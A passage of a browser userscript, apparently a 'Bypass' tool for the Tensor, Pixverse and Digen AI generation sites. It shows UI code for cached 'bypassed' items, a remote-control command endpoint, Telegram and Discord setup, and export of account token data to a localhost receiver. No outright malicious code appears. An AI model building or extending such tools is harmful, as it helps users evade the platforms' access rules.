<div style="font-weight:950; color:${colors.text};"><i class="fas fa-plug"></i> WebSocket receiver</div>
<div style="margin-top:6px;">When method = WS, the userscript connects to <span style="font-family:monospace;">settings.sharedNetworkWsUrl</span> and sends JSON messages.</div>
</div>
<div style="border:1px solid rgba(148,163,184,0.18); border-radius:12px; padding:12px; background: rgba(2,6,23,0.25);">
<div style="font-weight:950; color:${colors.text}; margin-bottom:8px;"><i class="fas fa-paper-plane"></i> WS message: export (file/text)</div>
<div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:8px;">Exact message shape sent by the userscript:</div>
${monoBox(JSON.stringify({
type: 'file',
filename: 'shared_export_1700000000000.json',
contentType: 'application/json',
content: '{...envelope JSON string...}'
}, null, 2))}
<div style="margin-top:8px; font-size:11px;">Important: <span style="font-family:monospace;">content</span> is a <strong>string</strong> containing the envelope JSON (pretty-printed). Receiver should JSON-parse it.</div>
</div>
<div style="border:1px solid rgba(148,163,184,0.18); border-radius:12px; padding:12px; background: rgba(2,6,23,0.25);">
<div style="font-weight:950; color:${colors.text}; margin-bottom:8px;"><i class="fas fa-terminal"></i> WS message: command</div>
<div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:8px;">When you use the Remote Control console and method = WS, it sends:</div>
${monoBox(JSON.stringify({ type: 'command', command: 'ping' }, null, 2))}
<div style="margin-top:8px; font-size:11px;">This is <strong>not</strong> wrapped in an envelope on WS (unlike HTTP command).</div>
</div>
<div>
<div style="font-weight:950; color:${colors.text};"><i class="fas fa-reply"></i> Receiver replies (optional)</div>
<div style="margin-top:6px;">If the receiver sends any WS message back as a text frame, the userscript logs it (first ~2000 chars). A simple ack helps debugging.</div>
${monoBox(JSON.stringify({ ok: true, message: 'received', requestId: '...' }, null, 2))}
</div>
</div>
`;
const commandHtml = `
<div style="display:grid; gap:12px;">
<div>
<div style="font-weight:950; color:${colors.text};"><i class="fas fa-terminal"></i> Command endpoint (HTTP)</div>
<div style="margin-top:6px;">When Remote Control is enabled and method = HTTP, the script POSTs JSON to the Command URL.</div>
</div>
${monoBox(`POST ${commandUrl || 'http://127.0.0.1:8787/shared-network/command'}\nContent-Type: application/json\n\n{...envelope JSON...}`)}
<div>
<div style="font-weight:950; color:${colors.text};"><i class="fas fa-box"></i> Envelope payload</div>
<div style="margin-top:6px;">Envelope payload looks like:</div>
${monoBox(JSON.stringify({ type: 'remote-command', payload: { command: 'ping', at: new Date().toISOString() } }, null, 2))}
<div style="margin-top:6px; font-size:11px;">Receiver can implement any semantics it wants (e.g., "ping", "reload", "export status").</div>
</div>
</div>
`;
const receiverChecklistHtml = `
<div style="display:grid; gap:12px;">
<div>
<div style="font-weight:950; color:${colors.text};"><i class="fas fa-server"></i> Receiver implementation checklist</div>
<div style="margin-top:6px;">A compatible receiver should handle:</div>
<ul style="margin:8px 0 0; padding-left:18px; display:grid; gap:6px;">
<li><strong>GET</strong> Health path → return 200 and optional JSON.</li>
<li><strong>POST</strong> Upload path → accept JSON body <em>or</em> multipart (<span style="font-family:monospace;">file</span> field) and store the envelope.</li>
<li><strong>POST</strong> Command path → accept JSON envelope; execute/record command; return JSON/text.</li>
<li><strong>WS</strong> endpoint → accept export messages (<span style="font-family:monospace;">type=file|text</span>) and command messages (<span style="font-family:monospace;">type=command</span>).</li>
</ul>
</div>
<div style="border-radius:12px; padding:12px; border:1px solid rgba(148,163,184,0.18); background: rgba(2,6,23,0.25);">
<div style="font-weight:950; color:${colors.text}; margin-bottom:8px;"><i class="fas fa-lightbulb"></i> Storage suggestion</div>
<div style="font-size:11px;">Save envelopes with a unique request id and keep original JSON exactly as received for auditability. Example folder:</div>
${monoBox('content/tasks/{request_id}/envelope.json\ncontent/tasks/{request_id}/meta.json\ndownloads/{request_id}/media/...')}
</div>
</div>
`;
const inspectorHtml = `
<div style="display:grid; gap:12px;">
<div>
<div style="font-weight:950; color:${colors.text};"><i class="fas fa-magnifying-glass"></i> Last request inspector (from this browser session)</div>
<div style="margin-top:6px;">These are captured when you send an export. They help you implement a receiver that matches <em>exactly</em> what your script is sending.</div>
</div>
<div style="display:grid; grid-template-columns: 1fr 1fr; gap:12px;">
<div>
<div style="font-weight:900; color:${colors.text}; margin-bottom:6px;"><i class="fas fa-box"></i> Last envelope</div>
<div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:8px;">Sent at: ${sharedNetworkLastSentAt ? escapeHtml(new Date(sharedNetworkLastSentAt).toLocaleString()) : '—'}</div>
${monoBox(lastEnvText || 'No envelope captured yet. Send something first.')}
</div>
<div>
<div style="font-weight:900; color:${colors.text}; margin-bottom:6px;"><i class="fas fa-wifi"></i> Last wire format</div>
<div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:8px;">Describes transport/mode/url/fields used.</div>
${monoBox(lastWireText || 'No wire info captured yet. Send something first.')}
</div>
</div>
</div>
`;
// Build nav + main
const sections = [
{ id: 'sn_cfg', label: '<i class="fas fa-sitemap" style="width:16px;"></i> Your config', title: '<i class="fas fa-sitemap"></i> Configuration + derived URLs', html: computedCfgHtml },
{ id: 'sn_safety', label: '<i class="fas fa-shield-halved" style="width:16px;"></i> Safety', title: '<i class="fas fa-shield-halved"></i> Security & safety notes', html: safetyHtml },
{ id: 'sn_env', label: '<i class="fas fa-box" style="width:16px;"></i> Envelope schema', title: '<i class="fas fa-box"></i> Envelope schema', html: envelopeHtml },
{ id: 'sn_health', label: '<i class="fas fa-heart-pulse" style="width:16px;"></i> HTTP health', title: '<i class="fas fa-heart-pulse"></i> HTTP health endpoint', html: httpHealthHtml },
{ id: 'sn_upload', label: '<i class="fas fa-cloud-arrow-up" style="width:16px;"></i> HTTP upload', title: '<i class="fas fa-cloud-arrow-up"></i> HTTP upload/save endpoint', html: httpUploadHtml },
{ id: 'sn_ws', label: '<i class="fas fa-plug" style="width:16px;"></i> WebSocket', title: '<i class="fas fa-plug"></i> WebSocket message formats', html: wsHtml },
{ id: 'sn_cmd', label: '<i class="fas fa-terminal" style="width:16px;"></i> Commands', title: '<i class="fas fa-terminal"></i> Commands (remote control)', html: commandHtml },
{ id: 'sn_receiver', label: '<i class="fas fa-server" style="width:16px;"></i> Receiver checklist', title: '<i class="fas fa-server"></i> Receiver checklist', html: receiverChecklistHtml },
{ id: 'sn_inspector', label: '<i class="fas fa-magnifying-glass" style="width:16px;"></i> Inspector', title: '<i class="fas fa-magnifying-glass"></i> Inspector', html: inspectorHtml }
];
sections.forEach(s => {
nav.appendChild(mkNavItem(s.label, s.id));
main.appendChild(mkSection(s.id, s.title, s.html));
});
// Layout
body.appendChild(nav);
body.appendChild(main);
dialog.appendChild(header);
dialog.appendChild(body);
overlay.appendChild(dialog);
overlay.onclick = (e) => {
if (e.target === overlay) overlay.remove();
};
document.body.appendChild(overlay);
}
function showCacheClearDialog() {
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed; top: 0; left: 0; right: 0; bottom: 0;
background: rgba(0, 0, 0, 0.7); backdrop-filter: blur(5px);
display: flex; align-items: center; justify-content: center;
z-index: 10000050;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
background: ${settings.theme === 'dark' ? '#1e293b' : '#ffffff'};
color: ${settings.theme === 'dark' ? '#f1f5f9' : '#0f172a'};
border: 1px solid rgba(148,163,184,0.25);
border-radius: 12px;
padding: 24px;
max-width: 500px;
box-shadow: 0 25px 80px rgba(0, 0, 0, 0.5);
max-height: 80vh;
overflow-y: auto;
`;
dialog.innerHTML = `
<div style="display: flex; align-items: center; gap: 12px; margin-bottom: 20px;">
<i class="fas fa-trash-alt" style="color: #ef4444; font-size: 28px;"></i>
<h2 style="margin: 0; font-size: 18px; font-weight: 700;">Clear Cache Options</h2>
</div>
<p style="font-size: 12px; color: #94a3b8; margin-bottom: 20px; line-height: 1.6;">Choose how you want to clear the cached data. Each option has different implications.</p>
<div style="display: flex; flex-direction: column; gap: 12px;" id="cacheOptions"></div>
<div style="display: flex; gap: 10px; margin-top: 20px; justify-content: flex-end;">
<button class="bypass-btn bypass-btn-secondary" id="cacheCancelBtn" style="padding: 8px 16px; font-size: 12px;">Cancel</button>
</div>
`;
const optionsContainer = dialog.querySelector('#cacheOptions');
// Option 1: Delete without regain
const option1 = document.createElement('div');
option1.style.cssText = 'padding: 12px; border: 1px solid rgba(239,68,68,0.3); border-radius: 8px; background: rgba(239,68,68,0.05); cursor: pointer;';
option1.innerHTML = `
<div style="display: flex; align-items: center; gap: 8px; margin-bottom: 6px;">
<i class="fas fa-lock" style="color: #ef4444;"></i>
<strong style="color: #ef4444;">Delete Without Ability to Regain</strong>
</div>
<p style="margin: 0; font-size: 11px; color: #cbd5e1; line-height: 1.5;">Permanently delete from cache. Won't be bypassed again until you manually re-enable it in Data Control.</p>
`;
option1.onclick = () => {
itemsData.forEach(item => markItemAsNoRegain(item.id));
clearAllCache(false);
overlay.remove();
updateUI();
};
optionsContainer.appendChild(option1);
// Option 2: Delete with regain
const option2 = document.createElement('div');
option2.style.cssText = 'padding: 12px; border: 1px solid rgba(251,191,36,0.3); border-radius: 8px; background: rgba(251,191,36,0.05); cursor: pointer;';
option2.innerHTML = `
<div style="display: flex; align-items: center; gap: 8px; margin-bottom: 6px;">
<i class="fas fa-sync" style="color: #f59e0b;"></i>
<strong style="color: #f59e0b;">Delete With Ability to Regain</strong>
</div>
<p style="margin: 0; font-size: 11px; color: #cbd5e1; line-height: 1.5;">Clear cache from memory. Items will be cached again on next page reload if found.</p>
`;
option2.onclick = () => {
clearAllCache(false);
overlay.remove();
updateUI();
};
optionsContainer.appendChild(option2);
// Option 3: Hide cache
const option3 = document.createElement('div');
option3.style.cssText = 'padding: 12px; border: 1px solid rgba(99,102,241,0.3); border-radius: 8px; background: rgba(99,102,241,0.05); cursor: pointer;';
option3.innerHTML = `
<div style="display: flex; align-items: center; gap: 8px; margin-bottom: 6px;">
<i class="fas fa-eye-slash" style="color: #6366f1;"></i>
<strong style="color: #6366f1;">Hide Cached Items</strong>
</div>
<p style="margin: 0; font-size: 11px; color: #cbd5e1; line-height: 1.5;">Hide items from UI but keep in cache. Can still be exported. Visible in Data Control tab.</p>
`;
option3.onclick = () => {
itemsData.forEach(item => markItemAsHidden(item.id));
overlay.remove();
updateUI();
};
optionsContainer.appendChild(option3);
dialog.querySelector('#cacheCancelBtn').onclick = () => overlay.remove();
overlay.appendChild(dialog);
document.body.appendChild(overlay);
}
// Create setting label with tooltip info icon
function createSettingLabel(text, icon, tooltip) {
const label = document.createElement('label');
label.className = 'bypass-label';
label.style.display = 'flex';
label.style.alignItems = 'center';
label.style.gap = '8px';
label.innerHTML = `<i class="fas ${icon}"></i> <span>${text}</span>`;
if (tooltip) {
const infoIcon = document.createElement('span');
infoIcon.className = 'bypass-tooltip-icon';
infoIcon.innerHTML = '<i class="fas fa-info-circle"></i>';
infoIcon.title = tooltip;
infoIcon.style.cssText = `
font-size: 12px;
opacity: 0.6;
cursor: help;
position: relative;
`;
// Add hover tooltip
const createTooltip = () => {
const tooltip = document.createElement('div');
tooltip.className = 'bypass-hover-tooltip';
tooltip.innerHTML = infoIcon.title;
tooltip.style.cssText = `
position: absolute;
bottom: 125%;
left: 50%;
transform: translateX(-50%);
background: ${settings.theme === 'dark' ? '#2d2d44' : '#333333'};
color: white;
padding: 8px 12px;
border-radius: 6px;
font-size: 11px;
white-space: nowrap;
z-index: 10001;
pointer-events: none;
opacity: 0;
transition: opacity 0.2s ease;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
`;
return tooltip;
};
let tooltip = null;
infoIcon.onmouseenter = () => {
if (!tooltip) {
tooltip = createTooltip();
infoIcon.appendChild(tooltip);
}
setTimeout(() => tooltip.style.opacity = '1', 10);
};
infoIcon.onmouseleave = () => {
if (tooltip) {
tooltip.style.opacity = '0';
}
};
label.appendChild(infoIcon);
}
return label;
}
function createSettingsToggleRow({ labelText, icon = '', tooltip = '', checked = false, onChange = null, textColor = '', fontSize = '13px', settingKey = '' }) {
const lockInfo = settingKey ? (remoteSettingsControl[settingKey] || null) : null;
const isLocked = lockInfo?.locked === true;
const noteText = typeof lockInfo?.note === 'string' && lockInfo.note.trim() ? lockInfo.note.trim() : null;
const row = document.createElement('label');
row.className = 'bypass-settings-toggle-row';
row.style.cssText = [
'cursor:pointer',
`font-size:${fontSize}`,
textColor ? `color:${textColor}` : '',
isLocked ? 'opacity:0.8' : ''
].filter(Boolean).join('; ');
const input = document.createElement('input');
input.type = 'checkbox';
input.className = 'bypass-checkbox';
input.checked = !!checked;
if (typeof onChange === 'function') {
input.onchange = onChange;
}
const main = document.createElement('div');
main.className = 'bypass-settings-toggle-main';
const textWrap = document.createElement('span');
textWrap.className = 'bypass-settings-toggle-label';
if (icon) {
const iconEl = document.createElement('i');
iconEl.className = `fas ${icon}`;
iconEl.style.flexShrink = '0';
textWrap.appendChild(iconEl);
}
const text = document.createElement('span');
text.style.cssText = 'min-width:0;';
text.textContent = labelText;
textWrap.appendChild(text);
main.appendChild(input);
main.appendChild(textWrap);
row.appendChild(main);
if (tooltip) {
const infoIcon = document.createElement('span');
infoIcon.className = 'bypass-tooltip-icon';
infoIcon.innerHTML = '<i class="fas fa-info-circle"></i>';
infoIcon.title = tooltip;
infoIcon.style.cssText = 'font-size:12px; opacity:0.7; cursor:help; position:relative; flex-shrink:0; margin-top:2px;';
infoIcon.addEventListener('click', (e) => {
e.preventDefault();
e.stopPropagation();
});
attachInfoTooltip(infoIcon, tooltip);
row.appendChild(infoIcon);
}
// Remote lock badge
if (isLocked) {
input.disabled = true;
input.style.pointerEvents = 'none';
const lockBadge = document.createElement('span');
lockBadge.style.cssText = 'font-size:10px;color:#f59e0b;flex-shrink:0;margin-left:6px;opacity:0.85;';
lockBadge.innerHTML = '<i class="fas fa-lock"></i>';
lockBadge.title = 'Locked by administrator';
row.appendChild(lockBadge);
}
// If no note, return the label directly (no extra wrapper)
if (!noteText) return { row, input };
// Wrap: note banner above the toggle row
const wrapper = document.createElement('div');
wrapper.style.cssText = 'display:flex;flex-direction:column;gap:3px;';
const noteBanner = document.createElement('div');
noteBanner.style.cssText = [
'background:rgba(99,102,241,0.10)',
'border:1px solid rgba(99,102,241,0.28)',
'border-radius:7px',
'padding:7px 10px',
'font-size:11.5px',
'line-height:1.5',
'color:#a5b4fc',
'display:flex',
'align-items:flex-start',
'gap:6px'
].join(';');
noteBanner.innerHTML = `<i class="fas fa-circle-info" style="color:#818cf8;margin-top:2px;flex-shrink:0;font-size:11px"></i><span>${String(noteText).replace(/</g, '<').replace(/>/g, '>')}</span>`;
wrapper.appendChild(noteBanner);
wrapper.appendChild(row);
return { row: wrapper, input };
}
// Create collapsible settings section
function createCollapsibleSection(title, icon, initialOpen = true) {
const sectionKey = `section_${title.replace(/\s+/g, '_')}`;
const isSectionOpen = localStorage.getItem(sectionKey) !== 'false';
const section = document.createElement('div');
section.className = 'bypass-collapsible-section';
const header = document.createElement('div');
header.className = `bypass-section-title ${!isSectionOpen ? 'collapsed' : ''}`;
header.style.cursor = 'pointer';
header.innerHTML = `<i class="fas ${icon}"></i> ${title} <i class="fas fa-chevron-down bypass-chevron"></i>`;
const content = document.createElement('div');
content.className = `bypass-section-content ${!isSectionOpen ? 'collapsed' : ''}`;
header.onclick = () => {
const isOpen = !content.classList.contains('collapsed');
if (isOpen) {
content.classList.add('collapsed');
header.classList.add('collapsed');
localStorage.setItem(sectionKey, 'false');
} else {
content.classList.remove('collapsed');
header.classList.remove('collapsed');
localStorage.setItem(sectionKey, 'true');
}
};
section.appendChild(header);
section.appendChild(content);
return { section, content };
}
function normalizeSettingsSearchText(value) {
return String(value || '').toLowerCase().replace(/\s+/g, ' ').trim();
}
function setSettingsSearchQuery(value) {
settingsSearchQuery = String(value || '');
try {
localStorage.setItem('freeBypassSettingsSearchQuery', settingsSearchQuery);
} catch {
// ignore
}
}
function applySettingsSearchFilter(form, query, emptyStateEl = null) {
if (!form) return { visibleCount: 0, hasQuery: false };
const normalizedQuery = normalizeSettingsSearchText(query);
const hasQuery = !!normalizedQuery;
let visibleTopLevelCount = 0;
Array.from(form.children).forEach((node) => {
if (!(node instanceof HTMLElement) || node === emptyStateEl || node.dataset.settingsSearchControls === 'true') return;
const isSection = node.classList.contains('bypass-collapsible-section');
if (!isSection) {
const matches = !hasQuery || normalizeSettingsSearchText(node.textContent).includes(normalizedQuery);
node.style.display = matches ? '' : 'none';
if (matches) visibleTopLevelCount += 1;
return;
}
const header = node.querySelector(':scope > .bypass-section-title');
const content = node.querySelector(':scope > .bypass-section-content');
const sectionTitleText = normalizeSettingsSearchText(header?.textContent || '');
let visibleChildren = 0;
if (content) {
Array.from(content.children).forEach((child) => {
if (!(child instanceof HTMLElement)) return;
const matches = !hasQuery || normalizeSettingsSearchText(child.textContent).includes(normalizedQuery);
child.style.display = matches ? '' : 'none';
if (matches) visibleChildren += 1;
});
}
const sectionMatches = !hasQuery || sectionTitleText.includes(normalizedQuery) || visibleChildren > 0;
node.style.display = sectionMatches ? '' : 'none';
if (sectionMatches) visibleTopLevelCount += 1;
if (header && content) {
if (hasQuery && sectionMatches) {
if (!node.dataset.searchPrevCollapsed) {
node.dataset.searchPrevCollapsed = content.classList.contains('collapsed') ? '1' : '0';
}
header.classList.remove('collapsed');
content.classList.remove('collapsed');
} else if (!hasQuery && node.dataset.searchPrevCollapsed) {
const shouldCollapse = node.dataset.searchPrevCollapsed === '1';
header.classList.toggle('collapsed', shouldCollapse);
content.classList.toggle('collapsed', shouldCollapse);
delete node.dataset.searchPrevCollapsed;
}
}
});
if (emptyStateEl) {
if (hasQuery && visibleTopLevelCount === 0) {
emptyStateEl.style.display = 'block';
emptyStateEl.textContent = `No settings match "${String(query || '').trim()}".`;
} else {
emptyStateEl.style.display = 'none';
}
}
return { visibleCount: visibleTopLevelCount, hasQuery };
}
function createUnifiedNotificationSettingsSection(colors) {
const section = createCollapsibleSection('Notifications (Telegram / Discord)', 'fa-paper-plane', false);
const info = document.createElement('div');
info.style.cssText = `
padding: 10px;
border-radius: 10px;
border: 1px solid ${colors.border};
background: ${colors.bgSecondary};
font-size: 12px;
color: ${colors.textSecondary};
line-height: 1.45;
margin-bottom: 8px;
`;
info.innerHTML = '<strong style="color:' + colors.text + '"><i class="fas fa-circle-info"></i> Shared across all platforms</strong><br>These values are global. Set once and they work on Tensor, Pixverse, and Digen.';
section.content.appendChild(info);
const mkToggle = (id, labelText) => {
const row = document.createElement('label');
row.style.cssText = 'display:flex; align-items:center; gap:8px; cursor:pointer; font-size:13px; color:' + colors.text + ';';
const input = document.createElement('input');
input.type = 'checkbox';
input.className = 'bypass-checkbox';
input.checked = !!settings[id];
input.onchange = () => {
settings[id] = input.checked;
saveSettings();
updateUI();
};
row.appendChild(input);
row.appendChild(document.createTextNode(labelText));
return row;
};
section.content.appendChild(mkToggle('telegramEnabled', 'Enable Telegram'));
if (settings.telegramEnabled) {
const tgTokenInput = document.createElement('input');
tgTokenInput.type = 'password';
tgTokenInput.placeholder = 'Telegram bot token';
tgTokenInput.value = settings.telegramToken || '';
tgTokenInput.style.cssText = `width:100%; margin-top:8px; padding:8px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
tgTokenInput.onchange = () => {
settings.telegramToken = String(tgTokenInput.value || '').trim();
saveSettings();
};
section.content.appendChild(tgTokenInput);
const chatInput = document.createElement('input');
chatInput.type = 'text';
chatInput.placeholder = 'Telegram chat id (auto-filled after /access)';
chatInput.value = settings.telegramChatId || '';
chatInput.disabled = !!settings.telegramChatId;
chatInput.style.cssText = `width:100%; margin-top:8px; padding:8px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px; ${settings.telegramChatId ? 'opacity:.75;cursor:not-allowed;' : ''}`;
chatInput.onchange = () => {
if (settings.telegramChatId) return;
settings.telegramChatId = String(chatInput.value || '').trim();
saveSettings();
};
section.content.appendChild(chatInput);
const tgStatus = document.createElement('div');
tgStatus.style.cssText = `margin-top:8px; padding:8px 10px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; font-size:11px; color:${colors.textSecondary}; line-height:1.45;`;
tgStatus.textContent = settings.telegramChatId
? `Telegram configured (Chat ID: ${settings.telegramChatId})`
: 'Send /access to your bot chat, then click Initialize Telegram.';
section.content.appendChild(tgStatus);
const tgBtns = document.createElement('div');
tgBtns.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:8px;';
const initBtn = document.createElement('button');
initBtn.className = 'bypass-btn bypass-btn-primary';
initBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
initBtn.innerHTML = '<i class="fab fa-telegram"></i> Initialize Telegram';
initBtn.onclick = async () => {
const botToken = String(settings.telegramToken || '').trim();
if (!botToken) {
tgStatus.textContent = 'Please enter Bot Token first.';
showToast('Telegram bot token is required', 'error');
return;
}
initBtn.disabled = true;
tgStatus.textContent = '⏳ Waiting for /access...';
try {
let chatId = null;
let attempts = 0;
while (!chatId && attempts < 60) {
const response = await fetch(`https://api.telegram.org/bot${botToken}/getUpdates`);
const data = await response.json();
const updates = Array.isArray(data?.result) ? data.result : [];
for (let i = updates.length - 1; i >= 0; i--) {
const update = updates[i];
const msg = update?.message;
const text = typeof msg?.text === 'string' ? msg.text.trim() : '';
if (text === '/access' && msg?.chat?.id) {
chatId = String(msg.chat.id);
break;
}
}
if (!chatId) {
await new Promise(r => setTimeout(r, 1000));
attempts++;
}
}
if (chatId) {
settings.telegramChatId = chatId;
saveSettings();
tgStatus.textContent = `Success. Chat ID: ${chatId}`;
showToast('Telegram initialized successfully', 'success');
updateUI();
} else {
tgStatus.textContent = 'Timeout: No /access found. Send /access then try again.';
showToast('No /access command found yet', 'warning');
}
} catch (err) {
tgStatus.textContent = `Error: ${err?.message || err}`;
showToast('Telegram initialization failed', 'error');
} finally {
initBtn.disabled = false;
}
};
tgBtns.appendChild(initBtn);
if (settings.telegramChatId) {
const removeBtn = document.createElement('button');
removeBtn.className = 'bypass-btn bypass-btn-danger';
removeBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
removeBtn.innerHTML = '<i class="fas fa-trash"></i> Remove Chat ID';
removeBtn.onclick = () => {
settings.telegramChatId = '';
saveSettings();
showToast('Telegram chat id removed', 'success');
updateUI();
};
tgBtns.appendChild(removeBtn);
}
section.content.appendChild(tgBtns);
}
const separator = document.createElement('div');
separator.style.cssText = `height:1px; background:${colors.border}; margin:10px 0 8px;`;
section.content.appendChild(separator);
section.content.appendChild(mkToggle('discordEnabled', 'Enable Discord'));
if (settings.discordEnabled) {
const webhookInput = document.createElement('input');
webhookInput.type = 'password';
webhookInput.placeholder = 'https://discord.com/api/webhooks/...';
webhookInput.value = settings.discordWebhook || '';
webhookInput.style.cssText = `width:100%; margin-top:8px; padding:8px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
webhookInput.onchange = () => {
settings.discordWebhook = String(webhookInput.value || '').trim();
saveSettings();
};
section.content.appendChild(webhookInput);
const help = document.createElement('div');
help.style.cssText = `margin-top:8px; font-size:11px; color:${colors.textSecondary}; line-height:1.45;`;
help.innerHTML = '<i class="fab fa-discord"></i> Create webhook in Discord Server Settings → Integrations → Webhooks.';
section.content.appendChild(help);
}
return section;
}
function toggleExpand() {
isExpanded = !isExpanded;
if (IS_TENSOR_DOMAIN) {
// When opening, fetch immediately so Services/updates reflect the latest remote JSON.
fetchRemoteConfigWithOptions({ force: true, reason: isExpanded ? 'panel-open' : 'panel-close' });
startRemoteConfigWatcher();
}
updateUI();
}
function createCollapsedButton() {
// Check if button already exists from early injection
let btn = document.querySelector('.bypass-collapsed-btn');
if (btn) {
// Update existing button with items
updateCollapseBtnWithItems();
applyUpdateStateToCollapsedButton(btn);
applyIconFallback(btn);
return btn;
}
// Fallback: create new button if early injection failed
btn = document.createElement('button');
btn.className = 'bypass-collapsed-btn';
btn.innerHTML = '<i class="fas fa-shield-alt"></i> <span>Bypass</span>';
btn.onclick = (e) => {
e.preventDefault();
e.stopPropagation();
toggleExpand();
};
if (itemsData.length > 0) {
const badge = document.createElement('div');
badge.className = 'bypass-badge';
badge.textContent = itemsData.length;
btn.appendChild(badge);
}
if (!document.body) {
if (!window.__bypassCollapseButtonRetryScheduled) {
window.__bypassCollapseButtonRetryScheduled = true;
const retry = () => {
window.__bypassCollapseButtonRetryScheduled = false;
updateUI();
};
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', retry, { once: true });
} else {
setTimeout(retry, 50);
}
}
return null;
}
document.body.appendChild(btn);
applyUpdateStateToCollapsedButton(btn);
applyIconFallback(btn);
return btn;
}
function createTabButton(label, tabName, isActive) {
const btn = document.createElement('button');
btn.className = `bypass-tab ${isActive ? 'active' : ''}`;
btn.textContent = label;
btn.onclick = () => {
currentTab = tabName;
if (IS_TENSOR_DOMAIN && tabName === 'services') {
// Only Services needs an on-demand config refresh when switching tabs.
fetchRemoteConfigWithOptions({ force: true, reason: `tab:${tabName}` });
startRemoteConfigWatcher();
}
updateUI();
};
return btn;
}
function showAccountContextMenu(event, account) {
event.preventDefault();
event.stopPropagation();
// Remove existing menu
const existing = document.querySelector('.bypass-account-context-menu');
if (existing) existing.remove();
const menu = document.createElement('div');
menu.className = 'bypass-account-context-menu';
const menuBg = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-bg-primary') || '#0f172a' : '#0f172a';
const menuBorder = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-stroke-secondary') || '#475569' : '#475569';
menu.style.cssText = `
position: fixed;
left: ${event.clientX}px;
top: ${event.clientY}px;
background: ${menuBg};
border: 1px solid ${menuBorder};
border-radius: 8px;
padding: 6px;
z-index: 100000;
box-shadow: 0 10px 25px rgba(0,0,0,0.5);
min-width: 180px;
`;
const createMenuItem = (icon, label, onClick, danger = false) => {
const item = document.createElement('button');
item.className = 'bypass-btn bypass-btn-secondary';
item.style.cssText = `
width: 100%;
justify-content: flex-start;
padding: 10px 12px;
font-size: 12px;
gap: 10px;
border-radius: 6px;
${danger ? 'color: #ef4444; border-color: #ef4444;' : ''}
`;
item.innerHTML = `<i class="fas fa-${icon}" style="width: 16px;"></i>${label}`;
item.onclick = (e) => {
e.stopPropagation();
menu.remove();
onClick();
};
return item;
};
menu.appendChild(createMenuItem('download', 'Export Account Data', () => {
exportAccountData(account.token);
alert(`Account data exported for ${account.nickname}`);
}));
if (settings.sharedNetworkEnabled) {
menu.appendChild(createMenuItem('network-wired', 'Send Account Data to Shared Network', () => {
if (!sharedNetIsConfigured()) {
showToast('Shared Network is disabled or not configured', 'warning');
return;
}
const targetUrl = settings.sharedNetworkMethod === 'ws'
? sharedNetNormalizeWsUrl(settings.sharedNetworkWsUrl)
: sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
if (!sharedNetIsLocalhostUrl(targetUrl)) {
showToast('For safety, account data can only be sent to a localhost Shared Network target.', 'warning');
return;
}
showConfirmDialog(
`Send account backup for ${account.nickname} to Shared Network (localhost only)?`,
() => {
const payload = buildAccountExportData(account.token);
sharedNetSendRawPayloadNow(payload, 'account-context-menu', `account_${account.nickname || 'user'}`)
.then(() => showToast('Shared Network: account data sent', 'success'))
.catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
}
);
}));
}
menu.appendChild(createMenuItem('trash-alt', 'Remove Account Data', () => {
showConfirmDialog(`Remove all data for ${account.nickname}? This cannot be undone.`, () => {
removeAccountData(account.token);
updateUI();
});
}, true));
document.body.appendChild(menu);
// Close on click outside
const closeHandler = (e) => {
if (!menu.contains(e.target)) {
menu.remove();
document.removeEventListener('click', closeHandler);
}
};
setTimeout(() => document.addEventListener('click', closeHandler), 0);
}
function createItemCard(item, options = {}) {
const card = document.createElement('div');
card.className = 'bypass-item-card';
card.setAttribute('data-bypass-item-id', item.id);
if (selectedItems.has(item.id)) {
card.classList.add('selected');
}
const header = document.createElement('div');
header.className = 'bypass-item-header';
const id = document.createElement('div');
id.className = 'bypass-item-id';
id.textContent = item.id;
const type = document.createElement('div');
type.className = 'bypass-item-type';
type.innerHTML = item.type === 'Video' ? '<i class="fas fa-video"></i> Video' : '<i class="fas fa-image"></i> Image';
header.appendChild(id);
header.appendChild(type);
card.appendChild(header);
// ── Expired task banner ────────────────────────────────────────────────
// Show a non-removable warning if the task's expireAt has passed.
const itemExpireTs = normalizeTimestamp(item.expiresAt || item.expireAt);
const isTaskExpired = itemExpireTs && Date.now() > itemExpireTs;
if (isTaskExpired) {
const expiredBanner = document.createElement('div');
expiredBanner.style.cssText = `
background: rgba(239,68,68,.12); border: 1px solid rgba(239,68,68,.4);
border-radius: 6px; padding: 7px 10px; margin-bottom: 6px;
font-size: 11px; color: #fca5a5; display: flex; align-items: center; gap: 6px;
`;
expiredBanner.innerHTML = `<i class="fas fa-clock" style="color:#ef4444;"></i>
<span><strong>Link expired</strong> — this task expired on ${new Date(itemExpireTs).toLocaleString()}. The signed URL can no longer be refreshed.</span>`;
card.appendChild(expiredBanner);
}
const metadata = document.createElement('div');
const metadataToggle = document.createElement('div');
metadataToggle.style.cssText = 'display: flex; align-items: center; justify-content: space-between; padding: 6px; cursor: pointer; background: rgba(99, 102, 241, 0.05); border-radius: 4px; user-select: none;';
metadataToggle.innerHTML = '<span style="font-size: 11px; font-weight: 600; color: #cbd5e1;"><i class="fas fa-chevron-down"></i> Task Info</span>';
const metadataContent = document.createElement('div');
metadataContent.style.cssText = 'display: none; flex-direction: column; gap: 4px; padding: 8px; background: rgba(99, 102, 241, 0.05); border-radius: 4px; font-size: 11px;';
// Build full task info from itemMap
const taskData = taskMap.get(item.taskId) || {};
const getTaskInfo = () => {
